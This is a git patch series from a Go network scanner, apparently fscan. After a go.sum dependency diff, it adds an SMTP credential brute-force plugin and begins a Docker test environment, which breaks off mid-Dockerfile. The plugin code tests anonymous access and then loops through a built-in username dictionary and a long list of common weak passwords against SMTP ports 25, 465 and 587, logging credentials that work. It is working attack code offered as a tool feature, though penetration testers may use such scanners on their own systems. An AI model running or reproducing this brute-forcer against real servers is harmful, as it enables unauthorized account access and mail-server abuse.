h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8= +github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= +github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= @@ -24,6 +26,8 @@ github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= +github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10/go.mod h1:F7bn7fEU90QkQ3tnmaTx3LTKLEDqnwWODIYppRQ5hnY= github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= @@ -64,12 +68,16 @@ github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4 github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk= +github.com/go-asn1-ber/asn1-ber v1.5.7/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0= github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20210410170116-ea3d685f79fb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo= +github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= @@ -109,6 +117,8 @@ github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXi github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googollee/go-socket.io v1.6.0/go.mod h1:0vGP8/dXR9SZUMMD4+xxaGo/lohOw3YWMh2WRiWeKxg= @@ -325,8 +335,12 @@ golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5 golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= -golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw= -golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54= +golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= +golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= +golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= +golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= +golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= +golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -352,6 +366,10 @@ golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKG golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.18.0 h1:5+9lSbEzPSdWkH32vYPBwEpX8KwDbM52Ud9xBUvNlb0= golang.org/x/mod v0.18.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -376,8 +394,12 @@ golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qx golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.28.0 h1:a9JDOJc5GMUJ0+UDqmLT86WiEy7iWyIhz8gz8E4e5hE= -golang.org/x/net v0.28.0/go.mod h1:yqtgsTWOOnlGLG9GFRrK3++bGOUEkNBoHZc8MEDWPNg= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= +golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= +golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= +golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI= +golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -388,8 +410,12 @@ golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= -golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= +golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -414,13 +440,22 @@ golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.23.0 h1:YfKFowiIMvtgl1UERQoTPPToxltDeZfbj4H7dVUCwmM= -golang.org/x/sys v0.23.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= +golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.23.0 h1:F6D4vR+EHoL9/sWAWgAR1H2DcHr4PareCbAaCo1RpuU= -golang.org/x/term v0.23.0/go.mod h1:DgV24QBUrK6jhZXl+20l6UWznPlwAHm1Q1mGHtydmSk= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= +golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= +golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= +golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= +golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= @@ -428,8 +463,12 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc= -golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= +golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -454,6 +493,9 @@ golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/tools v0.22.0 h1:gqSGLZqv+AI9lIQzniJ0nZDRG5GBPsSi+DRNHWNz6yA= golang.org/x/tools v0.22.0/go.mod h1:aCwcsjqvq7Yqt6TNyX7QMU2enbQ/Gt0bo6krSeEri+c= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= From 66e52791f706b5a685eed4e240d82a5fe150485e Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 04:39:58 +0800 Subject: [PATCH 128/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0SMTP=E6=89=AB?= =?UTF-8?q?=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 2 +- Core/Registry.go | 6 +++ Plugins/SMTP.go | 101 ++++++++++++++++++++++++++++++++++++++++ 5 files changed, 111 insertions(+), 3 deletions(-) create mode 100644 Plugins/SMTP.go diff --git a/Common/Config.go b/Common/Config.go index 47de716..07bd1b1 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -17,6 +17,7 @@ var Userdict = map[string][]string{ "kafka": {"admin", "kafka", "root", "test"}, "activemq": {"admin", "root", "activemq", "system", "user"}, "ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"}, + "smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index aa3c977..7d06292 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -21,7 +21,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", "wmiexec", // 其他 }, @@ -36,7 +36,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index 0c29ab8..cf71733 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,7 +5,7 @@ import ( "strings" ) -var ServicePorts = "21,22,23,135,139,389,445,636,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" +var ServicePorts = "21,22,23,25,135,139,389,445,465,587,636,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" diff --git a/Core/Registry.go b/Core/Registry.go index 0f00d65..eb75ecf 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -91,6 +91,12 @@ func init() { ScanFunc: Plugins.LDAPScan, }) + Common.RegisterPlugin("smtp", Common.ScanPlugin{ + Name: "SMTP", + Ports: []int{25, 465, 587}, + ScanFunc: Plugins.SmtpScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/SMTP.go b/Plugins/SMTP.go new file mode 100644 index 0000000..19502ec --- /dev/null +++ b/Plugins/SMTP.go @@ -0,0 +1,101 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "net" + "net/smtp" + "strings" + "time" +) + +// SmtpScan 执行 SMTP 服务扫描 +func SmtpScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试匿名访问 + flag, err := SmtpConn(info, "", "") + if flag && err == nil { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["smtp"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := SmtpConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smtp"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// SmtpConn 尝试 SMTP 连接 +func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造地址 + addr := fmt.Sprintf("%s:%s", host, port) + + // 创建带超时的连接 + conn, err := net.DialTimeout("tcp", addr, timeout) + if err != nil { + return false, err + } + defer conn.Close() + + // 创建SMTP客户端 + client, err := smtp.NewClient(conn, host) + if err != nil { + return false, err + } + defer client.Close() + + // 如果提供了认证信息 + if user != "" { + auth := smtp.PlainAuth("", user, pass, host) + err = client.Auth(auth) + if err != nil { + return false, err + } + } + + // 验证是否可以发送邮件 + err = client.Mail("test@test.com") + if err != nil { + return false, err + } + + // 如果成功 + result := fmt.Sprintf("[+] SMTP服务 %v:%v ", host, port) + if user != "" { + result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) + } else { + result += "允许匿名访问" + } + Common.LogSuccess(result) + + return true, nil +} From a5738304a1f9c96e1397c6352ba0f934a441fda9 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 04:40:07 +0800 Subject: [PATCH 129/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0SMTP=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/SMTP/Dockerfile | 51 ++++++++++++++++++++++++++++++++++++++ TestDocker/SMTP/README.txt | 2 ++ TestDocker/SMTP/start.sh | 3 +++ 3 files changed, 56 insertions(+) create mode 100644 TestDocker/SMTP/Dockerfile create mode 100644 TestDocker/SMTP/README.txt create mode 100644 TestDocker/SMTP/start.sh diff --git a/TestDocker/SMTP/Dockerfile b/TestDocker/SMTP/Dockerfile new file mode 100644 index 0000000..91ea8a7 --- /dev/null +++ b/TestDocker/SMTP/Dockerfile @@ -0,0 +1,51 @@ +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND=noninteractive + +# 安装必要的软件 +RUN apt-get update && apt-get install -y \ + postfix \ + sasl2-bin \ + libsasl2-modules \ + mailutils \ + rsyslog \ + 